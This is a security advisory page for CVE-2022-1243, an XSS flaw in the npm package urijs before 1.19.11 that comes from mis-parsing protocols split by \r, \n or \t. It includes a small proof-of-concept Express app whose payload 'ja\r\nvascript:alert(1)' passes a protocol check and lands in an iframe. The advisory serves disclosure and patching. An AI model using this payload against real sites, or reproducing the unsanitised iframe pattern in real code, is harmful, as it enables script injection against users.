Advisory

GHSA-3vjf-82ff-p4r3

Also known as: CVE-2022-1243

Summary

Incorrect protocol extraction via \r, \n and \t characters

Details

\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.

This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):

const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000

input = "ja\r\nvascript:alert(1)"
url = parse(input)

console.log(url)

app.get('/', (req, res) => {
 if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")}
})

app.listen(port, () => {
 console.log(`Example app listening on port ${port}`)
})

Severity

High Basis: The source's own band: HIGH

Dates

Published
2022-04-06 00:01 UTC
Modified
2023-11-08 04:07 UTC

Affected packages and fixes

urijs

npm · All systems

Affected

  • introduced 0, fixed 1.19.11 (semver)

Fixed versions

1.19.11

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences